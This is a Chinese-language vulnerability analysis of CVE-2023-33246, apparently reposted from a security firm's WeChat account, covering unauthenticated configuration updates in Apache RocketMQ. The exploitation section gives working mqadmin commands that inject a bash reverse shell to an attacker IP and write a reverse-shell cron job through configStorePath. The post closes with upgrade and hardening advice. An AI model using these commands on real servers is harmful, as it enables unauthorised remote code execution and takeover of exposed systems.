一、漏洞描述
CVE-2023-33246: Apache RocketMQ: RocketMQ may have a remote code execution vulnerability when using the update configuration function-Apache Ma644il Archives
查看链接:https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
*左右滑动查看更多
该漏洞的官方描述是这样的:在RocketMq小于5.1.0版本时,当NameServer、Broker和Controller这三个组件泄露在公网,且没有身份认证时,攻击者可以通过更新配置的方式来执行命令。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。
关键字是未授权更新配置和命令执行。通过未授权更新这三个组件的配置文件来达到命令执行,java常见的命令执行漏洞有:
-
反序列化
-
命令注入
-
未授权部署任意jar/war
-
SSTI
-
……
后文将看看本次RocketMq将是以怎样的方式造成命令执行漏洞。
二、漏洞分析
在官方通过升级5.1.1版本前,RocketMq的维护人员就处理了两处issue是跟这次的漏洞相关的。分别是#6749和#6733。
Remove filter server module #6749
网址:https://github.com/apache/rocketmq/pull/6749
Make configPath unable to update at runtime #6733
网址:https://github.com/apache/rocketmq/pull/6733
*左右滑动查看更多
|
其中Remove filter server module是对源代码做了以下更改:
|
直接把FilterServerManager和FilterServerUtil这两个类直接删除。那么让我们先看看这两个类是做什么的。
FilterServerUtil类
这个类中有两个静态方法,Util结尾可以看得出来这是一个工具类,在java中静态方法是不用实例化就能直接调用的。
其中public静态方法callshell提供了执行系统命令的操作。先对接收进来shellString参数的字符串通过本类的私有方法splitShlellString进行处理,处理过后将命令字符串类型变成cmdArray数组,然后再用exec()来执行cmdArray中的命令。
那么往上翻是什么类调用了这个callshell方法。
可以看到是只有FilterServerManager这个类中的createFilterServer方法中调用了这个callshell方法。跟进去看看。
createFilterServer方法中我们看到定义了一个int类型变量more,这个more的值根据FilterServerNums()-filterServerTable.size()得到。
随后又定义了一个string类型的cmd变量,此cmd是值是通过该类(FilterServerManager)的私有方法buildStartCommand()构造的。
构造后的cmd通过for循环(要more的值大于i才能进入for循环),成为callshell方法的cmd参数,执行cmd这个字符串的系统命令。
所以说只要我们能够控制cmd这个字符串的话,就能执行任意命令。
那么cmd是通过buildStartCommand()这个方法构造的。
可以看到最后的if/else是return的字符串,先是做了系统的判断,是windos平台运行的rocketmq就返回windows的命令,否则的话就返回unix内核系统的命令。
以返回的unix命令为例,固定格式为:
Sh %s/bin/startfsrv.sh %s
其中两个%s是我们能控制的地方,看代码。
第一个%s是从BrokerConfig中的RocketmqHome的值。
第二个%s是config的值,这个config在代码上方构造。
也就是说如果我们如果能控制这两个配置文件中的内容,就能命令注入,达成我们想要执行的语句。
而且creatFilter这个方法是在start方法中调用的,用了一个内部匿名类来定时调用creatFilterserver,只要在初始化了filtermanager,并且调用了start()方法的话,就能一直定时的调用creatFilterserver这个方法,从而一直动态的构造命令。
接下来看看Make configPath unable to update at runtime对源代码修改了什么。
|
针对namesrv、broker和controller新增了对更改配置的一个判断,只要包含相关的字符串,就不能更新配置。随后再通过update方法更新传入的properties。
|
其中比较具有代表性的是broker和namesrv的更新,让我们先定位到namesrv的DefaultRequestProcessor类。
更改的代码出现在DefaultRequestProcessor类的updateConfig方法。
下面代码可以看出,原来的代码是没有对更新的配置项进行判断的,也就是说可以更新任意配置。
跟进update方法,有两个try,其中第二个try中,先将properties中的所有配置进行合并,合并后进入一个for循环。for循环中调用了MixAll类的properties to Object方法,该方法其实就是通过遍历配置文件中的配置项,查找存在以set开头的配置项,如果存在set的配置项的话,就通过比对字符串与原来的配置是否存在差异,是的话通过反射来更新其中的配置项。
更新完后,通过persist方法来写入文件。通过string to file这个方法写入文件,需要传的参是allConfigs和StorePath。继续跟进该方法。
其实就是写入两个相同配置文件,一个带bak结尾作为备份的配置文件。
自此分析完了写入文件的流程,也就是说如果用户能够控制StorePath的值的话,就能够控制写入文件的路径。在RocketMq中StorePath是在程序初始化的时候就确定了的,就是你能修改最后的配置项也无济于事,因为getStorePath有一个逻辑,只有storePathFromConfig这个项为true才会从指定的配置文件中指定的字段获取storePath路径,否则的话将一直按照初始化的路径进行写入。
所以说为什么在前文说了namesrv和broker这两个会比较特殊,因为namesrv和controller在初始化的时候会将storePathFromConfig设为从指定配置文件获取,而broker没有。
所以namesrv和controller的利用方法一样。
三、漏洞利用
搭建版本:Rocketmq 5.1.0
漏洞系统环境:虚拟机centos7
攻击机:kali
JDK版本:1.8
因为上面分析的过程,前提都是基于RocketMq能够未经身份验证更新其配置文件。而Rocketmq自己官方就有用于更新配置文件的工具,下面的漏洞利用过程均基于该工具。
sh mqadmin updateNameSrvConfig -k configStorePath -v "/var/spool/cron/root" -n 192.168.131.130:9876
*左右滑动查看更多
工具官方教程链接:
Admin Tool | RocketMQ (apache.org)
https://rocketmq.apache.org/zh/docs/4.x/deployment/02admintool/
*左右滑动查看更多
工具官方下载:
https://archive.apache.org/dist/rocketmq/5.1.0/rocketmq-all-5.1.0-bin-release.zip
*左右滑动查看更多
命令注入(攻击broker)
在上文我们分析了要命令注入的两个条件:
1.more>0
(即filterServerNums-filterServerTableSize>0)。
2.改变RocketmqHome的值,构造可以执行命令的语句。
先把filterServerNums配置更改为1。
sh mqadmin updateBrokerConfig -k filterServerNums -v '1' -b 192.168.131.140:10911
*左右滑动查看更多
命令注入,更新RocketmqHome的值为:
-c $@|bash . echo bash -i >& /dev/tcp/192.168.131.129/9001 0>&1
sh mqadmin updateBrokerConfig -k rocketmqHome -b 192.168.131.140:10911 -v'-c $@|bash . echo bash -i >& /dev/tcp/192.168.131.129/9001 0>&1;'
*左右滑动查看更多
源码中执行命令处:
至于为什么要这样构造,详细大家可以查看这篇文章,作者写得相当的详细:
Java Runtime.exe() 执行命令与反弹shell(下)
https://www.jianshu.com/p/ae3922db1f70
*左右滑动查看更多
文件写入(攻击namesrv或controller)
既然有任意文件写入,可以利用该更新配置文件的方式,将RocketMq的默认配置目录更改为系统的计划任务路径,然后再更改配置文件的字段为反弹shell的字段,实现RCE的效果(ubuntu系统不行)。
以namesrv为例。
1.更改配置文件configStorePath为centos的计划任务路径/var/spool/cron。
sh mqadmin updateNameSrvConfig -k configStorePath -v "/var/spool/cron/root" -n 192.168.131.130:9876
*左右滑动查看更多
可以看到在服务器的cron目录已经写入了:
|
文件内容是一些配置信息。
|
2.更新其中某个字段的信息,只要有其中一行是换行就能触发计划任务,可以通过n触发换行。
sh mqadmin updateNameSrvConfig -k bindAddress -v "
n*/1 * * * * bash -c 'bash -i >& /dev/tcp/192.168.131.129/9999 0>&1'" -n 192.168.131.130:9876
*左右滑动查看更多
注入效果:
|
反弹成功。
四、防御及加固建议
1. 避免相关端口服务部署于公网当中。
2. 4.x版本用户升级至4.9.7以上版本,5.x版本用户升级至5.1.2以上版本。
3. 添加鉴权机制,只有授权用户才能操作RocketMq相关配置文件。
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论